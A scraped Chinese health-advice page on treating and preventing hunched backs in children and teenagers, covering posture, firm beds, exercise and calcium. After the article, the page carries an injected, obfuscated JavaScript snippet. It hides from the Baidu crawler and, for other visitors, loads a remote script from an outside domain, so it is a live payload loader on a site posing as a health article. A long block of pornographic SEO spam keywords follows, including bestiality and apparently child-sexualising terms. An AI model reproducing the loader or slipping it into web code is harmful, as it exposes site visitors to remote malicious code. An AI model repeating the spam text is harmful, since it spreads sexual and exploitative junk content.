當(dāng)前位置:首頁 > 母嬰 > 育兒知識 > 正文

小孩駝背如何治療呢

2017-04-10 08:06:08  來源:360常識網(wǎng)   熱度:
導(dǎo)語:駝背的現(xiàn)象在生活當(dāng)中屢見不鮮,一般來說會發(fā)生在很多老年人身上,老年人年紀(jì)大了以后脊椎骨會逐漸地形成彎曲駝背,這些都是非常正常的,可

駝背的現(xiàn)象在生活當(dāng)中屢見不鮮,一般來說會發(fā)生在很多老年人身上,老年人年紀(jì)大了以后脊椎骨會逐漸地形成彎曲駝背,這些都是非常正常的,可是我們發(fā)現(xiàn)不少的青少年在發(fā)育期間最容易駝背了,不僅僅會影響身高還會影響大腦智力發(fā)育,對于小孩駝背如何治療呢?隨著上面的文章來為大家介紹一下。

如何防止青春期駝背

青少年的骨骼有機(jī)物成分較多,這樣的骨骼韌性較好,具有較大的可塑性,若不注意坐立行走的姿勢,易發(fā)生變形,形成駝背的另一個原因是缺乏體育鍛煉。

那么,如何糾正駝背呢?

①注意端正身體的姿勢,平時不論站立、行走,胸部自然挺直,兩肩向后自然舒展。坐時脊柱挺直。看書寫字時不過分低頭,更不要趴在桌上。人們所說的要“站如松,坐如鐘”是有一定道理的。

②正在發(fā)育的青少年最好睡硬板床,以使脊柱在睡眠時保持平直。

③加強(qiáng)體育鍛煉。認(rèn)真上好體育課,做好課間操,促進(jìn)肌肉力量的發(fā)展。在全面鍛煉的基礎(chǔ)上做矯正體操。矯正體操有很多種,有各種形式的徒手操,有利用各種體育器械的矯正操。矯正駝背主要以增強(qiáng)背肌、挺直軀干和擴(kuò)張胸廓為主。

骨骼是人體的支架,脊柱是中軸,由30多節(jié)椎骨按規(guī)律重迭連接而成。正常情況下,它有4個生理彎曲。

頸段凸向前,胸段凸向后,腰段再凸向前,骶尾段再凸向后。脊柱向前彎曲度過大,就是駝背。醫(yī)學(xué)知識告訴我們,早年鍛煉,避免疲勞,注意營養(yǎng)均衡,可以延緩衰老進(jìn)程。補(bǔ)充鈣質(zhì),適當(dāng)曬太陽,有助于防止骨質(zhì)疏松。

已經(jīng)發(fā)生駝背者,應(yīng)睡硬板床,不墊過高的枕頭。腰背肌鍛煉,尤其是后伸運動有助于遏止駝背的發(fā)展速度。具體的治療方案須經(jīng)醫(yī)生檢查確診后,根據(jù)并且積極治療。

駝背的原因多數(shù)來自于平日的不注意,加上身體方面沒有控制好,一般來說駝背的患者可以睡硬板床,最好是睡眠的時候一定要保持平躺的狀態(tài),讓自己的脊柱盡快地舒展,同時搭配上輔助工具進(jìn)行治療。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
97色精品视频在线观看| 国产在线精品一区二区| 无码日韩精品一区二区免费暖暖| 久久午夜无码鲁丝片午夜精品| 成人午夜精品视频在线观看| 精品久久久久久亚洲中文字幕| 国产91久久精品一区二区| 久久精品国产网红主播| 久久国产精品一国产精品| 国产精品久久久亚洲| 成品人和精品人的区别在哪里 | 久久无码专区国产精品发布| 久久精品国产精油按摩| 久久精品国产99精品最新| 亚洲国产精品一区第二页| 免费精品99久久国产综合精品| 亚洲人成精品久久久久| 少妇伦子伦精品无吗| 亚洲精品自产拍在线观看| 兽交精品99高清毛片| 亚洲精品无码久久久久| 国产精品揄拍100视频| 国产精品免费观看调教网| 久久66久这里精品99| 亚洲精品在线观看视频| 精品人伦一区二区三区潘金莲| 99精品久久久中文字幕| 2021在线观看视频精品免费| 精品国产V无码大片在线看| 99久热任我爽精品视频| 久久久久久亚洲精品无码| 国产精品高清m3u8在线播放| 国产成人精品综合| 国产精品狼人久久久久影院| 国产小呦泬泬99精品| 国内精品在线视频| 久9热免费精品视频在线观看| 99精品国产成人a∨免费看| 91精品国产综合久久四虎久久无码一级| 国产精品久久久久久福利漫画| 日韩av无码国产精品|